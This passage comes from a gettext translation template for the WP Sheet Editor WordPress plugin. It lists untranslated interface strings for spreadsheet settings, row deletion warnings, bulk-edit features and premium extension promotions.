browser will be able to find the cells. The browser search doesn't work by default because only the \"visible rows\" are actually created." msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:317 msgid "Disable usage stats widget?" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:318 msgid "If you enable this option, the usage stats widget shown in the wp-admin dashboard will be removed." msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:324 msgid "Disable serialized columns support?" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:325 msgid "The spreadsheet automatically generates columns for serialized fields, but this can use a lot of CPU cycles depending on the number of serialized fields. You can disable this feature if the sheet is too slow to load or you get errors when loading the rows or you dont want to see columns with prefix \"SEIS\"." msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:331 msgid "Disable the heartbeat api in the spreadsheet?" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:332 msgid "WordPress uses the heartbeat API to check the login status every few seconds. This can overload your server because it could make hundreds of requests when you are editing in the spreadsheet. You can disable it to reduce the stress on your server while editing in the sheet. However, if you keep the spreadsheet opened over multiple days your login session can expire and you wont be notified if you disable the heartbeat and this can cause issues while saving. So use this option only when you use the spreadsheet for a few hours only." msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:337 msgid "User roles that can use the spreadsheet editor" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:338 msgid "The plugin will not initialize for the user roles not selected here." msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:346 msgid "Enable the fancy taxonomy terms selector" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:347 msgid "Backwards compatibility. This setting will be removed in future updates." msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:353 msgid "What cell format to use for the taxonomy columns?" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:355 msgid "New multi select dropdown (Default)" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:356 msgid "Old single select autocomplete" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:362 msgid "Show all the custom post statuses?" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:363 msgid "By default we show the CORE statuses: published, draft, private, scheduled, trash. However, some plugins register custom statuses: job managers, woocommerce. Enable this option to show all the custom statuses in the \"status\" column. CAREFUL. We will show all the statuses from all the post types in the dropdown because it is impossible to know the post type of each status to we can not separate them. Do this only if you are a developer." msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:369 msgid "Remove help messages from the cells?" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:370 msgid "By default we show comments in some columns indicating the value format or why they are locked. for example, the category column shows a tip indicating to separate terms with a comma and how to add child categories, variation columns have a tip indicating why they are locked for parent products. You can activate this option to disable those tips." msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:376 msgid "Manage taxonomy column values as term ids?" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:377 msgid "By default we show the categories as names separated by commas. Activate this option to display and save term ids separated by commas." msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:383 msgid "Manage taxonomy column values as term slugs?" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:384 msgid "By default we show the categories as names separated by commas. Activate this option to display and save term slugs separated by commas." msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:390 msgid "Do you want to deactivate columns for new fields found?" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:391 msgid "By default we automatically show columns for all the new fields found, so everytime we detect new fields you can see them and edit right away. But this might \"break\" your column sorting or annoy you if you have enabled specific columns. Enable this option to generate those columns but leave them deactivated so you can enable them later." msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:398 msgid "Math formula roundup decimals" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:399 msgid "We automatically round up to 2 decimals. You can enter any number here, for example, 1 to round to 1 decimal, 0 to round to the nearest whole number (without decimals). Default: 2 decimals" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:405 msgid "Display raw value on select cells?" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:406 msgid "By default, we show the label in the cell instead of the raw value. But you can enable this option to display the raw value in the cells." msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:412 msgid "Disable the addition of file ID to the image URLs?" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:413 msgid "By default, when you export the featured image column or gallery columns, we add the file ID to each image url so we can import them later faster. You can activate this option to not add the file id and the import will work fine later but it wont be as fast" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:419 msgid "Disable the display of file names in the image columns?" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:420 msgid "By default, we show the file name as a preview next to the thumbnail, you can activate this to show the thumbnail and upload buttons only" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:426 msgid "Add html classes to the \"post status\" cells based on their values?" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:427 msgid "You can activate this option if you want to add html classes, and use those html classes to change the cell colors for each status using custom CSS" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:434 msgid "Maximum number of characters displayed in the preview of the values of tinymce columns?" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:435 msgid "By default, we only display 30 characters. You can increase the number here to view larger previews." msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:441 msgid "Manage the post parent column using IDs?" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:442 msgid "By default, the \"parent\" column displays titles and saves using titles. If you activate this option, the column will display IDs and save IDs. This is useful if you have duplicate titles and you need to save the exact parent by ID." msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:447 msgid "Enable the dark mode?" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:451 msgid "Auto (Default)" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:452 msgid "Light mode" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:453 msgid "Dark mode" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:458 msgid "Disable the automatic update of the \"modified date\" of the posts?" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:460 msgid "By default, the \"modified date\" of each post is updated every time you edit a post in our spreadsheet editor. WordPress automatically updates the \"modified date\" when you a edit a post in the regular editor, so we do this to keep a consistent experience in our sheet editor as the regular editor. You can enable this option to stop this behavior but this behavior will stop only when you edit taxonomies or meta fields, WordPress will still update the modified date when you post titles, content, excerpt, and other fields stored in the wp_posts table in the database." msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:467 msgid "General settings" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:472 msgid "In this page you can quickly set up the spreadsheet editor. This all you need to use the editor. The settings on the other tabs are completely optional and allow you to tweak the performance of the editor among other things." msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:479 msgid "Misc" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:485 msgid "Image preview width inside the cell" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:492 msgid "Image preview height inside the cell" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:499 msgid "Initial rows offset" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:500 msgid "When you have 1000 posts , you might want to open the spreadsheet and start editing from post 200. This option lets you skip a lot of rows. IMPORTANT. We use the pagination, so we will display the page closest to that number. For example. If you load 10 rows per page and enter 1205 as offset, the sheet will start from page 120 (index 1200) because it is the page closest to the defined offset." msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:506 msgid "Delete the attached images when deleting a post?" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:507 msgid "For example, when deleting a post completely (not moving to the trash), delete the featured image and product gallery images from the media library. CAREFUL.If you use the same images on multiple posts, it will break the images on other posts" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:515 msgid "Spreadsheets enabled for these post types" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:520 msgid "Disable the help toolbar?" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:521 msgid "This will hide the \"help\" option in the top toolbar" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:528 msgid "Maximum visible characters in locked cells" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:529 msgid "Locked cells only show a preview of the value. The default character length is %d" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:535 msgid "Don't show read-only columns in the advanced search?" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:541 msgid "Allow to remove duplicate rows by these meta fields" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:542 msgid "By default, our bulk edit allows you to remove duplicate posts by title+content, or by product SKU. You can add multiple meta keys separated with a comma here to allow to remove duplicate posts by a meta field. We don't allow this for any column because this should be used on meta fields that are supposed to contain unique values" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:550 msgid "Disable extension offerings?" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:556 msgid "Don't display the disabled columns in the modules?" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:557 msgid "By default, we show all the columns in the app modules (advanced search, bulk edit, export, import, etc), even if they're disabled in the columns manager. Activate this option to only display enabled columns." msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:563 msgid "Allow users with the capability unfiltered_html to save any html in the post content column?" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:564 msgid "By default, we remove any unsafe html from all the spreadsheet columns before saving the values. You can activate this option if you want to allow the WordPress super admins or administrators to add iframes, ad codes, etc to the post content. Use it at your own risk." msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:571 msgid "Generate serialized fields columns based on these posts" msgstr "" #: wp-sheet-editor/dev/inc/options-init.php:572 msgid "This option allows you to indicate what posts to use as templates for specific serialized fields. Enter the field key and post ID separated with a colon. For example: serialized_key1:89, serializedkey2:90" msgstr "" #: wp-sheet-editor/dev/inc/providers/post.php:535 msgid "Row ID: %1$d, Post type: %2$s does not exist in WordPress. Make sure your CSV uses the right name in the post type column." msgstr "" #: wp-sheet-editor/dev/inc/providers/post.php:551 msgid "Row ID: %d. You are trying to save an empty post type. Make sure your CSV uses the right name in the post type column." msgstr "" #: wp-sheet-editor/dev/inc/providers/post.php:665 msgid "Row ID: %d, You do not have permission to delete this post." msgstr "" #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:39 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:46 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:54 msgid "Go Premium" msgstr "" #: wp-sheet-editor/dev/inc/teasers/coupons.php:33 msgid "WooCommerce Coupons" msgstr "" #: wp-sheet-editor/dev/inc/teasers/coupons.php:51 msgid "Edit Coupons in a Spreadsheet.
                  Edit coupon codes, amounts, status, restrictions, and more. Make advanced searches. The spreadsheet is in sync with your site, no need to import/export. Download Plugin" msgstr "" #: wp-sheet-editor/dev/inc/teasers/formulas.php:34 msgid "Apply changes in bulk" msgstr "" #: wp-sheet-editor/dev/inc/teasers/formulas.php:56 msgid "Bulk Update feature" msgstr "" #: wp-sheet-editor/dev/inc/teasers/formulas.php:58 msgid "The \"bulk update\" feature allows you to update several posts at once
                  and you can do a lot of cool things, for example:" msgstr "" #: wp-sheet-editor/dev/inc/teasers/formulas.php:61 msgid "Replace words or phrases in your posts titles, content, or other fields" msgstr "" #: wp-sheet-editor/dev/inc/teasers/formulas.php:62 msgid "Increase or decrease products prices" msgstr "" #: wp-sheet-editor/dev/inc/teasers/formulas.php:63 msgid "Increase or decrease products stock" msgstr "" #: wp-sheet-editor/dev/inc/teasers/formulas.php:64 msgid "Move all your drafts to published posts or any other status" msgstr "" #: wp-sheet-editor/dev/inc/teasers/formulas.php:65 msgid "Set hundreds of products at once as out of stock or in stock" msgstr "" #: wp-sheet-editor/dev/inc/teasers/formulas.php:66 msgid "Add call to actions or any text at the beginning or ending of your posts" msgstr "" #: wp-sheet-editor/dev/inc/teasers/formulas.php:67 msgid "Replace old shortcodes with new shortcodes in all your posts" msgstr "" #: wp-sheet-editor/dev/inc/teasers/formulas.php:68 msgid "Set the same featured image in all the posts in a category" msgstr "" #: wp-sheet-editor/dev/inc/teasers/formulas.php:69 msgid "Move hundreds of posts to the trash" msgstr "" #: wp-sheet-editor/dev/inc/teasers/formulas.php:70 msgid "Etc." msgstr "" #: wp-sheet-editor/dev/inc/teasers/formulas.php:72 msgid "Imagine being able to do all those changes to hundreds or thousands of posts at once in just a few minutes. The formulas feature is available as premium extension." msgstr "" #: wp-sheet-editor/dev/inc/teasers/formulas.php:75 #: wp-sheet-editor/dev/inc/teasers/frontend.php:77 #: wp-sheet-editor/dev/inc/teasers/post-types.php:132 msgid "Buy extension now!" msgstr "" #: wp-sheet-editor/dev/inc/teasers/frontend.php:33 msgid "Display spreadsheet editor on the frontend" msgstr "" #: wp-sheet-editor/dev/inc/teasers/frontend.php:58 msgid "We have an extension for displaying this spreadsheet on the frontend. You can select the columns to display, and select the spreadsheet tools for the frontend users (search, bulk, edit, import, export, etc.). For example:" msgstr "" #: wp-sheet-editor/dev/inc/teasers/frontend.php:61 msgid "Allow your clients to edit WooCommerce Products using the spreadsheet without wp-admin" msgstr "" #: wp-sheet-editor/dev/inc/teasers/frontend.php:62 msgid "Allow your readers to submit blog posts using the spreadsheet" msgstr "" #: wp-sheet-editor/dev/inc/teasers/frontend.php:63 msgid "Allow your visitors to publish events" msgstr "" #: wp-sheet-editor/dev/inc/teasers/frontend.php:64 msgid "Allow your store employees to manage stock and prices" msgstr "" #: wp-sheet-editor/dev/inc/teasers/frontend.php:65 msgid "Allow your marketplace sellers to import products on the frontend" msgstr "" #: wp-sheet-editor/dev/inc/teasers/frontend.php:66 msgid "Allow your marketplace sellers to bulk edit their products" msgstr "" #: wp-sheet-editor/dev/inc/teasers/frontend.php:67 msgid "Allow your store buyers to download the catalog" msgstr "" #: wp-sheet-editor/dev/inc/teasers/frontend.php:68 msgid "Allow your store customers to make advanced catalog searches " msgstr "" #: wp-sheet-editor/dev/inc/teasers/frontend.php:69 msgid "And more." msgstr "" #: wp-sheet-editor/dev/inc/teasers/frontend.php:72 msgid "Demo video" msgstr "" #: wp-sheet-editor/dev/inc/teasers/frontend.php:74 msgid "All the features available in the backend spreadsheet can be used in the frontend spreadsheet." msgstr "" #: wp-sheet-editor/dev/inc/teasers/post-types.php:86 msgid "Edit WordPress %s" msgstr "" #: wp-sheet-editor/dev/inc/teasers/post-types.php:88 msgid "The spreadsheet editor can be used to edit your WordPress %s." msgstr "" #: wp-sheet-editor/dev/inc/teasers/post-types.php:91 msgid "You can edit your Media information like:" msgstr "" #: wp-sheet-editor/dev/inc/teasers/post-types.php:94 msgid "Caption" msgstr "" #: wp-sheet-editor/dev/inc/teasers/post-types.php:95 msgid "Alternative text" msgstr "" #: wp-sheet-editor/dev/inc/teasers/post-types.php:98 msgid "Uploaded by user" msgstr "" #: wp-sheet-editor/dev/inc/teasers/post-types.php:100 msgid "Enable comments" msgstr "" #: wp-sheet-editor/dev/inc/teasers/post-types.php:101 msgid "And see previews while editing" msgstr "" #: wp-sheet-editor/dev/inc/teasers/post-types.php:106 msgid "You can edit your WooCommerce products information like:" msgstr "" #: wp-sheet-editor/dev/inc/teasers/post-types.php:110 msgid "Full content" msgstr "" #: wp-sheet-editor/dev/inc/teasers/post-types.php:113 msgid "Sale price dates" msgstr "" #: wp-sheet-editor/dev/inc/teasers/post-types.php:114 msgid "Featured image" msgstr "" #: wp-sheet-editor/dev/inc/teasers/post-types.php:115 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:657 msgid "Gallery" msgstr "" #: wp-sheet-editor/dev/inc/teasers/post-types.php:117 msgid "Is Downloadable" msgstr "" #: wp-sheet-editor/dev/inc/teasers/post-types.php:118 msgid "Is Virtual" msgstr "" #: wp-sheet-editor/dev/inc/teasers/post-types.php:124 msgid "With our editor you will be able to edit all the information of
                  your %s saving you a lot of time." msgstr "" #: wp-sheet-editor/dev/inc/teasers/post-types.php:128 msgid "This feature is available as premium extension." msgstr "" #: wp-sheet-editor/dev/inc/teasers/terms.php:70 msgid "Tip from WP Sheet Editor: Edit thousands of categories at once, make advanced searches, view all the info in one page, and more." msgstr "" #: wp-sheet-editor/dev/inc/teasers/terms.php:70 msgid "Edit in a Spreadsheet" msgstr "" #: wp-sheet-editor/dev/inc/teasers/upgrade-popup.php:51 msgid ". Upgrade: Export, import, edit in Excel or Google Sheets; bulk edit thousands of rows at once, edit all the fields from other plugins, and more. Upgrade and Save Days of Work" msgstr "" #: wp-sheet-editor/dev/inc/teasers/upgrade-popup.php:70 msgid "View Extensions" msgstr "" #: wp-sheet-editor/dev/inc/teasers/users.php:32 msgid "Users" msgstr "" #: wp-sheet-editor/dev/inc/teasers/users.php:51 msgid "Tip from WP Sheet Editor: You can view all the users in a table, view thousands of full profiles, edit hundreds of users at once without crashing your server, view all shipping/billing/buddypress information. Make advanced searches, create hundreds of users, and more. Download Plugin" msgstr "" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:412 msgid ". Lite version. Showing all products and all fields as columns, 15 columns are editable and the rest are read only.
                  Upgrade: Edit in Excel/Google Sheets, export, import, bulk edit thousands of products at once." msgstr "" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:425 msgid "Tip from WP Sheet Editor: You can view and edit Product Variations in a spreadsheet, bulk edit, make advanced searches, edit hundreds of variations at once, copy variations to multiple products, etc. Download Plugin" msgstr "" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:523 msgid "Regular Price" msgstr "" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:537 msgid "Sale Price" msgstr "" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:703 msgid "Sales price date from" msgstr "" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:715 msgid "Sales price date to" msgstr "" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:742 msgid "is featured?" msgstr "" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:758 msgid "Allow backorders" msgstr "" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:933 msgid "Note: Separate values with the character %s
                  The product must be variable and have existing variations for this to work, otherwise the default attributes won't be saved." msgstr "" #: wp-sheet-editor/dev/views/editor-page.php:83 msgid "Full screen mode is active" msgstr "" #: wp-sheet-editor/dev/views/editor-page.php:84 msgid "Exit" msgstr "" #: wp-sheet-editor/dev/views/editor-page.php:88 msgid "Activate full screen" msgstr "" #: wp-sheet-editor/dev/views/editor-page.php:149 msgid "Current spreadsheet" msgstr "" #: wp-sheet-editor/dev/views/editor-page.php:153 msgid "Rows" msgstr "" #: wp-sheet-editor/dev/views/editor-page.php:186 msgid ". We recommend you increase the server memory to at least 256mb to prevent server errors. Tutorial" msgstr "" #: wp-sheet-editor/dev/views/editor-page.php:190 msgid "Active filters:" msgstr "" #: wp-sheet-editor/dev/views/editor-page.php:203 #: wp-sheet-editor/dev/views/quick-setup.php:39 msgid "Welcome to WP Sheet Editor" msgstr "" #: wp-sheet-editor/dev/views/editor-page.php:204 msgid "Please make a search to load the rows and start editing (use the \"search\" option in the top toolbar)." msgstr "" #: wp-sheet-editor/dev/views/editor-page.php:206 msgid "You need to load the rows manually because you deactivated the automatic loading of rows. Change the settings" msgstr "" #: wp-sheet-editor/dev/views/editor-page.php:233 msgid "Go to page" msgstr "" #: wp-sheet-editor/dev/views/editor-page.php:235 msgid "Use an infinite list instead of pagination" msgstr "" #: wp-sheet-editor/dev/views/editor-page.php:235 msgid "Activate this option to remove the pagination buttons and load rows automatically when you scroll down. You will see all the rows at the same time, you can load thousands of rows without problems." msgstr "" #: wp-sheet-editor/dev/views/editor-page.php:238 msgid "Load More Rows" msgstr "" #: wp-sheet-editor/dev/views/editor-page.php:239 msgid "Go to the top" msgstr "" #: wp-sheet-editor/dev/views/editor-page.php:241 msgid "Enable pagination" msgstr "" #: wp-sheet-editor/dev/views/editor-page.php:241 msgid "By default we use an infinite list of rows and we load more rows every time you scroll down. You can activate this option to display pagination links and disable the infinite list" msgstr "" #: wp-sheet-editor/dev/views/editor-page.php:245 msgid "Increase rows per page" msgstr "" #: wp-sheet-editor/dev/views/editor-page.php:245 msgid "We use pagination. By default we load 20 rows per page (every time you scroll down). You can increase the number to load more rows every time you scroll down." msgstr "" #: wp-sheet-editor/dev/views/editor-page.php:263 msgid "Delete rows" msgstr "" #: wp-sheet-editor/dev/views/editor-page.php:264 msgid "You selected 0 rows to be deleted completely." msgstr "" #: wp-sheet-editor/dev/views/editor-page.php:265 msgid "This will delete the rows from your database completely and the only way to undo this change is to restore a backup. Please make a backup in case you might need to undo this later." msgstr "" #: wp-sheet-editor/dev/views/editor-page.php:266 msgid "Please type the word DELETE and press enter to proceed:" msgstr "" #: wp-sheet-editor/dev/views/editor-page.php:279 msgid "OK" msgstr "" #: wp-sheet-editor/dev/views/editor-page.php:291 #: wp-sheet-editor/dev/views/editor-page.php:321 msgid "Save changes and edit the previous row" msgstr "" #: wp-sheet-editor/dev/views/editor-page.php:294 #: wp-sheet-editor/dev/views/editor-page.php:325 msgid "Save changes and edit the next row" msgstr "" #: wp-sheet-editor/dev/views/editor-page.php:309 msgid "Editing:" msgstr "" #: wp-sheet-editor/dev/views/editor-page.php:317 msgid "You can resize the editor" msgstr "" #: wp-sheet-editor/dev/views/editor-page.php:322 msgid "Just save changes" msgstr "" #: wp-sheet-editor/dev/views/editor-page.php:324 msgid "Cancel the changes and close popup" msgstr "" #: wp-sheet-editor/dev/views/editor-page.php:343 msgid "The changes about to be made are not reversible. You should backup your database before proceding." msgstr "" #: wp-sheet-editor/dev/views/editor-page.php:345 msgid "The changes about to be made are not reversible" msgstr "" #: wp-sheet-editor/dev/views/editor-page.php:347 msgid "I understand, continue" msgstr "" #: wp-sheet-editor/dev/views/editor-page.php:352 msgid "We are saving now. Don't close this window until the process has finished." msgstr "" #: wp-sheet-editor/dev/views/editor-page.php:354 msgid "Tip: The saving is too slow? Save more posts per batch
                  Are you getting errors when saving? Save less posts per batch" msgstr "" #: wp-sheet-editor/dev/views/editor-page.php:381 msgid "The loading is taking too long?
                  1. You can wait until the process finished.
                  2. You can " msgstr "" #: wp-sheet-editor/dev/views/extensions-modal.php:5 #: wp-sheet-editor/dev/views/usage-stats-widget.php:96 msgid "Extend the spreadsheet" msgstr "" #: wp-sheet-editor/dev/views/extensions-page.php:19 msgid "What component do you need?" msgstr "" #: wp-sheet-editor/dev/views/extensions.php:31 msgid "Promotion. %d%% OFF only today. " msgstr "" #: wp-sheet-editor/dev/views/extensions.php:33 msgid "Get the %d extensions below for just $ %s $ %s" msgstr "" #: wp-sheet-editor/dev/views/extensions.php:37 msgid "
                  Use the coupon: %s" msgstr "" #: wp-sheet-editor/dev/views/extensions.php:41 msgid "Money back guarantee. Buy the plugin without worries. We'll give you a refund if the plugin doesn't work." msgstr "" #: wp-sheet-editor/dev/views/extensions.php:49 msgid "Other extensions" msgstr "" #: wp-sheet-editor/dev/views/free-extensions-for-welcome.php:15 msgid "Spreadsheet for %s %s" msgstr "" #: wp-sheet-editor/dev/views/free-extensions-for-welcome.php:19 msgid "

                  Free extensions

                  " msgstr "" #: wp-sheet-editor/dev/views/post-types-form.php:17 msgid "Available spreadsheets" msgstr "" #: wp-sheet-editor/dev/views/quick-setup.php:64 msgid "Save and continue" msgstr "" #: wp-sheet-editor/dev/views/quick-setup.php:70 msgid "Available components" msgstr "" #: wp-sheet-editor/dev/views/quick-setup.php:71 msgid "The spreadsheet editor is very powerful and it has a lot of features. In this step you can enable the features that you need." msgstr "" #: wp-sheet-editor/dev/views/quick-setup.php:77 msgid "Continue" msgstr "" #: wp-sheet-editor/dev/views/quick-setup.php:81 msgid "The Spreadsheet is ready." msgstr "" #: wp-sheet-editor/dev/views/quick-setup.php:94 #: wp-sheet-editor/dev/views/usage-stats-widget.php:115 msgid "Edit " msgstr "" #: wp-sheet-editor/dev/views/quick-setup.php:110 msgid "Tip. We can help you with the spreadsheet setup. Get instant help in the live chat during business hours" msgstr "" #: wp-sheet-editor/dev/views/settings-form.php:2 msgid "Advanced Settings" msgstr "" #: wp-sheet-editor/dev/views/settings-form.php:14 #: wp-sheet-editor/dev/views/settings-form.php:87 msgid "Reset settings" msgstr "" #: wp-sheet-editor/dev/views/settings-form.php:15 msgid "Export and import settings" msgstr "" #: wp-sheet-editor/dev/views/settings-form.php:86 msgid "We will display all the columns that were deleted or disabled, renamed columns will show the original titles, we will rescan the database to find columns again, and the speed/advanced settings will be reset to the defaults. This only affects settings of our plugin and it does not affect the data edited with the sheet." msgstr "" #: wp-sheet-editor/dev/views/settings-form.php:90 msgid "These options will be included in the export and import:" msgstr "" #: wp-sheet-editor/dev/views/settings-form.php:92 msgid "Column sizes" msgstr "" #: wp-sheet-editor/dev/views/settings-form.php:93 msgid "Column titles" msgstr "" #: wp-sheet-editor/dev/views/settings-form.php:94 msgid "Column settings defined in the columns manager" msgstr "" #: wp-sheet-editor/dev/views/settings-form.php:95 msgid "Columns created manually" msgstr "" #: wp-sheet-editor/dev/views/settings-form.php:97 msgid "Saved exports" msgstr "" #: wp-sheet-editor/dev/views/settings-form.php:98 msgid "Saved searches" msgstr "" #: wp-sheet-editor/dev/views/settings-form.php:99 msgid "List of deleted columns" msgstr "" #: wp-sheet-editor/dev/views/settings-form.php:100 msgid "Favorite search fields" msgstr "" #: wp-sheet-editor/dev/views/settings-form.php:101 msgid "Column groups" msgstr "" #: wp-sheet-editor/dev/views/settings-form.php:102 msgid "Post types created with WP Sheet Editor" msgstr "" #: wp-sheet-editor/dev/views/settings-form.php:105 msgid "Click here to export the settings" msgstr "" #: wp-sheet-editor/dev/views/settings-form.php:107 msgid "Import settings" msgstr "" #: wp-sheet-editor/dev/views/settings-form.php:108 msgid "Paste the settings here (the contents of the exported file). Notes:" msgstr "" #: wp-sheet-editor/dev/views/settings-form.php:110 msgid "The import will overwrite existing settings" msgstr "" #: wp-sheet-editor/dev/views/settings-form.php:111 msgid "Please make a database backup before the import to be safe" msgstr "" #: wp-sheet-editor/dev/views/settings-form.php:112 msgid "Some columns depend on other plugins. So the source site and this site must use the same plugins to have the same columns" msgstr "" #: wp-sheet-editor/dev/views/single-extension.php:16 msgid "Active." msgstr "" #: wp-sheet-editor/dev/views/usage-stats-widget.php:54 msgid "Thank you for using our spreadsheet editor" msgstr "" #: wp-sheet-editor/dev/views/usage-stats-widget.php:62 msgid "Usage stats" msgstr "" #: wp-sheet-editor/dev/views/usage-stats-widget.php:68 msgid "Modified rows" msgstr "" #: wp-sheet-editor/dev/views/usage-stats-widget.php:72 msgid "Time saved
                  (estimated)" msgstr "" #: wp-sheet-editor/dev/views/usage-stats-widget.php:76 msgid "Clicks avoided
                  (estimated)" msgstr "" #: wp-sheet-editor/dev/views/usage-stats-widget.php:97 msgid "Edit WooCommerce products, WooCommerce Variations and Attributes.
                  Edit hundreds of posts at once using formulas, copy information between posts,
                  Edit custom post types and custom fields, Edit User Profiles, and More" msgstr "" #: wp-sheet-editor/dev/views/usage-stats-widget.php:98 msgid "View extensions" msgstr "" #: wp-sheet-editor/dev/views/usage-stats-widget.php:103 msgid "Open the Spreadsheet Editor" msgstr "" #: wp-sheet-editor/dev/views/whats-new.php:15 msgid "What's new on WP Sheet Editor" msgstr "" #: wp-sheet-editor/dev/views/whats-new.php:17 msgid "Thank you for updating to the new version of the plugin." msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:181 msgid "Edit User Profiles in Spreadsheet - Basic" msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:184 msgid "

                  Edit WordPress users in spreadsheet, edit only basic profiles and make basic searches.

                  " msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:192 msgid "Edit User Profiles in Spreadsheet - FULL" msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:195 msgid "

                  Edit WordPress users in spreadsheet. Edit FULL user profiles, including custom fields. Add new columns to the spreadsheet, Good for ecommerce stores, membership sites, events directories, business directories, user directories

                  " msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:202 msgid "WooCommerce Customers Spreadsheet" msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:205 msgid "

                  View all your Customers in a Spreadsheet. View full profile, Edit Profiles Quickly, View Billing and Shipping information, Make advanced customer searches, Export Customers to Excel or Google Sheets, Import Customers from External Applications

                  " msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:212 msgid "Media Library Spreadsheet" msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:215 msgid "

                  View the image, videos, and all the files from the WP Media library in a spreadsheet. Edit all the file fields, including alt text, image captions, file descriptions, Advanced Search by any field , Auto generate alt text, captions, etc. using the parent post title or categorías, Update thousands of files at once, and more.

                  " msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:217 #: wp-sheet-editor/dev/wp-sheet-editor.php:231 #: wp-sheet-editor/dev/wp-sheet-editor.php:263 #: wp-sheet-editor/dev/wp-sheet-editor.php:277 #: wp-sheet-editor/dev/wp-sheet-editor.php:291 #: wp-sheet-editor/dev/wp-sheet-editor.php:305 #: wp-sheet-editor/dev/wp-sheet-editor.php:320 #: wp-sheet-editor/dev/wp-sheet-editor.php:334 #: wp-sheet-editor/dev/wp-sheet-editor.php:348 #: wp-sheet-editor/dev/wp-sheet-editor.php:362 msgid "Buy" msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:226 msgid "Edit categories, tags, attributes in a spreadsheet" msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:229 msgid "

                  One spreadsheet for categories, tags, product attributes, event categories, portfolio categories, real state tags, etc. View and edit all the items in one place, copy paste, upload category images quickly, add descriptions, edit SEO, etc.

                  " msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:258 msgid "WooCommerce Coupons Spreadsheet" msgstr "" #: wp-sheet-editor/dev/wp-sheet-editor.php:261 msgid "

